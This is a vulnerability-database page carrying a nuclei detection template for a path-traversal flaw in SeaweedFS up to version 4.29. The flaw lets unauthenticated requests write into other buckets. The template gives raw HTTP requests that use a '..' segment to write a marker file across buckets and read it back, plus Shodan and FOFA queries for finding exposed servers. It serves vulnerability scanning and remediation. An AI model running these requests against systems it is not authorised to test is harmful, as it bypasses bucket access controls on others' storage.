Lucene search
+L

SeaweedFS <= 4.29 - Path Traversal File Write

🗓️ 24 Aug 2026 12:10:47Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

Path traversal in SeaweedFS <= 4.29 via SkipClean enables cross-bucket file write.

Related
Refs
Code
id: CVE-2026-54917

info:
  name: SeaweedFS <= 4.29 - Path Traversal File Write
  author: Haseeb-1698,DhiyaneshDk
  severity: high
  description: |
    SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.
  impact: |
    An unauthenticated attacker can write objects to buckets other than the one named in the request path, bypassing bucket-level access controls.
  remediation: |
    Upgrade to SeaweedFS 4.30 or later.
  reference:
    - https://github.com/advisories/GHSA-w62w-66v9-vvgv
    - https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54917
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
    cvss-score: 7.8
    cve-id: CVE-2026-54917
    epss-score: 0.00385
    epss-percentile: 0.31814
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    vendor: seaweedfs
    product: seaweedfs
    shodan-query: server:"SeaweedFS"
    fofa-query: server="SeaweedFS"
  tags: cve,cve2026,seaweedfs,traversal

variables:
  bucket_a: "{{to_lower(rand_base(8))}}"
  bucket_b: "{{to_lower(rand_base(8))}}"
  file_key: "{{to_lower(rand_base(8))}}"

http:
  - raw:
      - |
        PUT /{{bucket_a}} HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0
      - |
        PUT /{{bucket_a}}/../{{bucket_b}}/{{file_key}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Content-Length: {{len(file_key)}}

        {{file_key}}
      - |
        GET /{{bucket_b}}/{{file_key}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_3 == 200"
          - "contains(body_3, file_key)"
          - "contains(header_3, 'SeaweedFS')"
        condition: and
# digest: 490a0046304402203c7bae5295fd3978ae9268a42f1107033cbf3fe160eafc72ec6922259f385ee0022041a43d7de8d4a16c02b0990ed13915377feae969e6103f9f0305aff1bbc05a1a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Aug 2026 18:29Current
8.6High risk
Vulners AI Score8.6
CVSS 3.110
CVSS 47.8
EPSS0.00385
SSVC
4